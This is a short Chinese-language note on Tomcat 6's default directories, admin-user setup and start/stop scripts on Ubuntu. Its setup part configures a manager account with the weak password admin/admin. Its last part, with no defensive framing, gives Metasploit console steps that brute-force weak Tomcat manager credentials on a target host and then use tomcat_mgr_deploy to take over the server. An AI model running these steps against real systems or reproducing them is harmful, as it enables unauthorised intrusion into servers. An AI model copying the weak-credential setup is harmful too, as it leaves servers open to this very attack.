Tomcat 安裝 默認(rèn)目錄
以Linux 分支 Ubuntu Server 為例。
一、相關(guān)目錄及作用說明
/etc/tomcat6 - 全局配置
/usr/share/tomcat6/ - 程序主目錄
/usr/share/tomcat6/conf/Catalina/localhost/ - 本機(jī)部署的 Catalina 配置
/var/lib/tomcat6/ - 工作主目錄
/var/lib/tomcat6/webapps - (應(yīng)用文件實(shí)際存放于此)
/var/lib/tomcat6/work - 動(dòng)態(tài)工作目錄(動(dòng)態(tài)編譯的 .jsp 存放于此)
二、添加管理用戶
在 /etc/tomcat6 下是 tomcat 的全局配置,這里需要修改 tomcat-users.xml
a. 添加角色名
<role rolename="manager"/>
<role rolename="admin"/>
b. 添加用戶
<user username="admin" password="admin" roles="admin,manager"/>
這樣在重啟 tomcat 后,才可以用 admin 登錄到 manager 頁(yè)面。
三、啟動(dòng)/停止命令
很多時(shí)候需要手動(dòng)啟動(dòng)/停止 tomcat,/usr/share/tomcat6 是 tomcat 的主程序目錄。
/usr/share/tomcat6/bin/startup.sh
/usr/share/tomcat6/bin/shutdown.sh
這兩個(gè)便是啟動(dòng)和停止 tomcat 服務(wù)的腳本。
次次啟動(dòng)的話,此處有可能需要手動(dòng)創(chuàng)建 conf 和 logs 目錄:
#cd /usr/share/tomcat6
#mkdir conf
#mkdir logs
如果要非 root 身份啟動(dòng) tomcat,則需要修改 logs 目錄權(quán)限:
#chmod a+rw logs
用自帶詞典爆出賬戶密碼(這里全為弱口令,自帶字典就可以)
msf > search tomcat
msf > use auxiliary/scanner/http/tomcat_mgr_login
msf auxiliary(tomcat_mgr_login) > set rhost xxx
msf auxiliary(tomcat_mgr_login) > set rport 8180
msf auxiliary(tomcat_mgr_login) > exploit
利用爆出的用戶密碼滲透:
msf auxiliary(tomcat_mgr_login) > use exploit/multi/http/tomcat_mgr_deploy
msf exploit(tomcat_mgr_deploy) > set rhost xxx
msf exploit(tomcat_mgr_deploy) > set rport 8180
msf exploit(tomcat_mgr_deploy) > set username tomcat
msf exploit(tomcat_mgr_deploy) > set password tomcat
msf exploit(tomcat_mgr_deploy) > exploit